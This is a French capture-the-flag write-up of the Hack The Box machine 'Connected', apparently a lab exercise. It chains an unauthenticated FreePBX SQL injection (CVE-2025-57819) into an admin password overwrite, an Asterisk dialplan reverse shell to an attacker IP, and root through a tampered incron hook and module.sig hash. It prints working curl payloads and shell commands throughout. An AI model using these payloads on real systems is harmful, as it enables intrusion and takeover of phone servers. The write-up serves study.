← Tous les writeups
Hack The Box Facile

Connected

D'une injection SQL non authorsiée à un shell user via FreeBPX, jusqu'à l'exploitation de job incron pour être root.

FreeBPXAsteriskincronSQLiCVE-2025-57819Privesc

Machine IP: 10.129.17.100
Attaquant IP: 10.10.14.39
Difficulté: Easy
Thème: SQLi (error-based injection), Asterisk, privilege escalation via incron jobs


Résumé de la chaîne d’exploitation

SQLi non authentifiée (brand parameter)
    → Extraction de données (ampusers, hash admin)
    → Stacked queries → UPDATE ampusers (accès admin web)
    → Config Edit → extensions_custom.conf → System() via Asterisk originate
    → Shell asterisk
    → Enumération (incron, sysadmin_manager, hooks)
    → Modification generate-pem + bypass GPG (module.sig)
    → Injection clé SSH dans /root/.ssh/authorized_keys
    → Root

1. Reconnaissance

Scan Nmap

nmap -sV -p 22,80,443 10.129.17.100
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
443/tcp open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)

Trois ports ouverts. Le port 22 et le serveur web tourne sur HTTP et HTTPS.

Identification de la cible

En naviguant sur https://10.129.17.100, on tombe sur le panneau d’administration FreePBX. La version est visible dans le footer de chaque page :

version de FreeBPX

Version identifiée : FreePBX 16.0.40.7, cette version est affectée par la CVE-2025-57819, une injection SQL non authentifiée dans le module Endpoint Manager, permettant d’atteindre une exécution de code à distance.


2. Analyse de la vulnérabilité - CVE-2025-57819

Description

CVE-2025-57819 est une injection SQL non authentifiée dans le paramètre brand du handler AJAX du module Endpoint Manager de FreePBX. Le code PHP concatène directement ce paramètre dans une requête SQL sans préparation ni échappement source https://github.com/MuhammadWaseem29/SQL-Injection-and-RCE_CVE-2025-57819.

Endpoint vulnérable :

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
    &command=model&template=x&model=model&brand=<PAYLOAD>

Ce point d’injection est accessible sans authentification, car le chemin du module contourne la vérification d’authentification du framework FreePBX.

Type d’injection

L’injection est de type error-based via la fonction MySQL EXTRACTVALUE(), qui génère une erreur XPATH contenant la valeur extraite. La limite de sortie est de 32 caractères par requête.

Les requêtes empilées (stacked queries) sont également supportées, permettant non seulement de lire les données mais aussi d’en écrire (INSERT/UPDATE).


3. Exploitation - Phase 1 : Extraction de données

3.1 Confirmation de la vulnérabilité

curl -i -k "https://10.129.17.100/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+"

Réponse :

{"error":{"type":"Exception","message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~USER:freepbxuser@localhost~'"}}

L’utilisateur SQL est freepbxuser@localhost. La vulnérabilité est confirmée.

3.2 Énumération de la base de données

curl -i -k "https://10.129.17.100/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x%27+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+GROUP_CONCAT(schema_name)+FROM+information_schema.schemata),0x7e))--+"

Résultat :

{"error":{"type":"Exception","message":"SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~information_schema,asterisk,ast'::","file":"\/var\/www\/html\/admin\/libraries\/utility.functions.php","line":123}

la base principale est asterisk.

On va continuer et trouver d’autre information sur la structure de la base de données.

Tables identifiées : admin, ampusers, cron_jobs.

3.3 Extraction du hash admin depuis ampusers

curl -i -k "...brand=x%27+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+password_sha1+FROM+ampusers+WHERE+username=%27admin%27),0x7e))--+"

Résultat : ~05c689686a4fad5ce3ecc76e7ae5708b1fe2da43~

Hash SHA1 de 40 caractères récupéré. La tentative de cassage avec rockyou.txt via hashcat échoue.

3.4 Privileges SQL identifiés

Deux vérifications importantes :

  • LOAD_FILE()Permission denied (pas de privilège FILE)
  • mysql.userPermission denied (accès restreint)

Ces limites ferment la voie du webshell via INTO OUTFILE directement et orientent vers l’exploitation applicative.


4. Exploitation - Phase 2 : Accès Admin via Stacked Queries

4.1 Confirmation des stacked queries

L’injection supporte les requêtes empilées (séparées par ;). Cela permet d’exécuter des INSERT/UPDATE en plus des SELECT.

4.2 Écrasement du mot de passe admin

On génère un SHA1 d’un mot de passe connu :

echo -n 'pwn123' | sha1sum
# 67a48e9ddd082443df033a4f96b333f997390ad0
curl -i -k "https://...&brand=x%27%3BUPDATE+ampusers+SET+password_sha1=%2767a48e9ddd082443df033a4f96b333f997390ad0%27+WHERE+username=%27admin%27--+"

4.3 Vérification de l’écriture

curl -i -k "...brand=x%27+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+password_sha1+FROM+ampusers+WHERE+username=0x61646d696e),0x7e))--+"

Résultat : ~67a48e9ddd082443df033a4f96b333f997390ad0~, l’UPDATE est confirmé.


5. Exploitation - Phase 3 : Accès au Panneau Admin

5.1 Connexion au panneau

On se connecte sur https://10.129.17.100/admin/ avec admin|pwn123.

5.2 Modules disponibles

Après avoir contourné le wizard, l’inventaire des modules montre :

liste module part 1 liste module part 2

Modules clés identifiés :

  • Asterisk CLI 16.0.8 : interface CLI web
  • Config Edit 16.0.5 : éditeur de fichiers de configuration Asterisk
  • Backup & Restore 16.0.67

6. Exploitation - Phase 4 : RCE via Dialplan

6.1 Problème avec l’Asterisk CLI

Le module Asterisk CLI permet d’envoyer des commandes directement au moteur Asterisk. La commande core show version confirme que le CLI fonctionne :

Asterisk 20.17.0 built by mockbuild @ jenkins7 on x86_64 running Linux

Point difficile - La commande ! est filtrée : Dans l’Asterisk CLI interactif (asterisk -r), le préfixe ! permet d’exécuter des commandes shell. Cependant, le module web filtre ce préfixe et retourne une sortie vide. Aucune des variantes testées ne fonctionne.![[ID_asterisk-cli.png]]

6.2 RCE via Config Edit et l’application System()

Approche alternative : Utiliser le module Config Edit pour injecter un contexte dialplan malveillant dans extensions_custom.conf, puis le déclencher depuis le CLI Asterisk via channel originate.

Le fichier extensions_custom.conf contient déjà des extensions : config extention pour payload

[backup-system]
exten => 9999,1,noOp(Starting automated backup)
exten => 9999,2,System(/usr/local/bin/pbx-backup.sh)
...

On ajoute notre propre contexte :

[pwn]
exten => s,1,System(bash -c 'bash -i >& /dev/tcp/10.10.14.39/4445 0>&1')
same => n,Hangup()

Après avoir cliqué Apply Config (bouton rouge en haut du panneau), le dialplan est rechargé. On déclenche l’extension depuis le CLI Asterisk :

channel originate Local/s@pwn application Hangup

Asterisk CLI commande pour rev shell

Avec un listener nc actif sur le port 4445, le reverse shell arrive.


7. Shell Utilisateur

nc -lvnp 4445
connect to [10.10.14.39] from (UNKNOWN) [10.129.18.166] 33332
[asterisk@connected tmp]$ id
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
cat /home/asterisk/user.txt

flag user

On consolide l’accès via SSH en injectant notre clé publique :

mkdir -p /home/asterisk/.ssh
echo "ssh-rsa AAAA..." >> /home/asterisk/.ssh/authorized_keys
chmod 700 /home/asterisk/.ssh 
chmod 600 /home/asterisk/.ssh/authorized_keys
ssh -i /tmp/htbkey [email protected]

8. Élévation de Privilèges

8.1 Enumération

sudo -l
# sudo: no tty present and no askpass program specified
# (nécessite un vrai TTY)

find / -perm -4000 2>/dev/null
# /usr/bin/crontab
# /usr/bin/incrontab

ps aux | grep -i cron
# incrd tourne en root (PID 745)

8.2 Découverte d’incron

cat /etc/incron.d/*
/var/spool/asterisk/sysadmin/vpnget IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
...
/usr/local/asterisk/incron IN_CLOSE_WRITE /usr/bin/sysadmin_manager --local $#
/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#

incron surveille des répertoires et exécute des commandes en root quand des fichiers y sont créés/modifiés.

Répertoire clé :

ls -la /var/spool/asterisk/incron/
# drwxrwxr-x. 2 asterisk asterisk - WRITABLE par asterisk

8.3 Analyse de sysadmin_manager

cat /usr/bin/sysadmin_manager

Le script PHP sysadmin_manager :

  1. Prend le nom du fichier créé comme paramètre ($# en syntaxe incron)
  2. Parse le nom selon le format module_hookname ou module.hookname.CONTENTS
  3. Vérifie la signature GPG du fichier module.sig du module
  4. Vérifie que le hash SHA256 du hook correspond à celui dans module.sig
  5. Exécute le hook en root si tout est valide

Hooks disponibles :

find /var/www/html/admin/modules/ -path "*/hooks/*" -type f
# Nombreux hooks dans les modules sysadmin, firewall, backup, etc.

8.4 Identification du hook exploitable

# Propriétaire du hook generate-pem
ls -la /var/www/html/admin/modules/sysadmin/hooks/generate-pem
# -rwxr-xr-x. 1 asterisk asterisk 1444 - OWNED BY ASTERISK, WRITABLE

Le hook generate-pem est un script bash détenu par l’utilisateur asterisk et donc modifiable.

8.5 Problème - Vérification du hash GPG

Point difficile - Le mécanisme de vérification GPG : sysadmin_manager vérifie que le hash SHA256 du fichier hook correspond à la valeur stockée dans module.sig. Si on modifie le hook, le hash change et le script refuse d’exécuter le hook. C’est un système de sécurité conçu pour empêcher exactement ce type d’attaque.

grep generate-pem /var/www/html/admin/modules/sysadmin/module.sig
# hooks/generate-pem = 0c5963713527bf6524272a7346ced6103aed231fd26cb03fa1dc3cdfd00f877b

Solution : module.sig est également writable par asterisk !

ls -la /var/www/html/admin/modules/sysadmin/module.sig
# -rw-rw-r--. 1 asterisk asterisk 22130 - WRITABLE

module.sig est signé avec PGP (la signature globale du fichier est en haut), mais sysadmin_manager utilise une bibliothèque ioncube-encodée includes.php pour vérifier. En testant empiriquement, on constate que la vérification ne revalide pas la signature PGP globale du fichier, elle compare uniquement les hashes individuels dans [hashes]. On peut donc modifier le hash dans module.sig pour correspondre à notre version modifiée du hook.

8.6 Exploitation complète

Étape 1 - Modifier le hook generate-pem :

cat > /var/www/html/admin/modules/sysadmin/hooks/generate-pem << 'EOF'
#!/bin/bash
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
EOF

Étape 2 - Calculer le nouveau hash SHA256 :

sha256sum /var/www/html/admin/modules/sysadmin/hooks/generate-pem
# 51d4774e9577f89a92fb1f71627cfe34baa03cd5d1c5f9dd8856e63970564f28

Étape 3 - Mettre à jour module.sig :

sed -i 's/0c5963713527bf6524272a7346ced6103aed231fd26cb03fa1dc3cdfd00f877b/51d4774e9577f89a92fb1f71627cfe34baa03cd5d1c5f9dd8856e63970564f28/'/var/www/html/admin/modules/sysadmin/module.sig

# Vérification
grep generate-pem /var/www/html/admin/modules/sysadmin/module.sig
# hooks/generate-pem = 51d4774e9577f89a92fb1f71627cfe34baa03cd5d1c5f9dd8856e63970564f28

Étape 4 - Déclencher via incron :

touch /var/spool/asterisk/incron/sysadmin_generate-pem

Incron détecte la création du fichier et exécute :

/usr/bin/sysadmin_manager sysadmin_generate-pem

sysadmin_manager parse le nom : module=sysadmin, hook=generate-pem. Il vérifie le hash dans module.sig (notre hash modifié correspond) → il exécute le hook en root.

Étape 5 - Connexion SSH en root :

ssh -i /tmp/htbkey [email protected]
[root@connected ~]# id
uid=0(root) gid=0(root) groups=0(root)

[root@connected ~]# cat /root/root.txt

9. Points difficiles et leçons apprises

La table cron_jobs ne fonctionne pas comme prévu

La table cron_jobs de FreePBX ne stocke pas des commandes shell brutes. Le champ command est interprété par la classe PHP correspondante (ex: FreePBX\modules\Sysadmin\Job\Dd), pas exécuté directement par le shell. Sans Apply Config pour synchroniser les jobs vers l’OS crontab, les modifications ne prennent pas effet.

INTO OUTFILE et permissions Apache

Même sans privilège FILE pour écrire arbitrairement, MySQL peut écrire dans les répertoires où l’utilisateur mysql a accès (typiquement les répertoires du webroot appartenant à asterisk/apache). Cependant, Apache peut bloquer l’exécution PHP dans certains sous-répertoires via .htaccess ou la configuration principale, c’est le cas pour tout le répertoire /admin/ sur FreePBX qui utilise un front controller.

Le hook addpubkey et le mode fopen

Le hook filestore/hooks/addpubkey ouvre /root/.ssh/authorized_keys en mode r+ (lecture+écriture, fichier doit exister). Si le fichier n’existe pas, fopen retourne false silencieusement et le hook ne fait rien.

Solution : Modifier le mode en a (append, crée si inexistant), mais cela requiert que le hook passe la vérification de hash, ce qui nous amène à la solution du module generate-pem.

Bypass de la vérification GPG

Le mécanisme de sécurité de sysadmin_manager semble robuste (GPG + hash SHA256), mais présente une faille de conception : module.sig est accessible en écriture par l’utilisateur asterisk. Bien que la signature PGP globale du fichier soit invalide après modification, la bibliothèque de vérification ne revalide pas cette signature.

Elle compare uniquement les hashes individuels dans la section [hashes]. Un attaquant contrôlant l’utilisateur asterisk peut donc modifier à la fois le hook et son hash de référence.


Pablo - Kyllian Van Goidsenhoven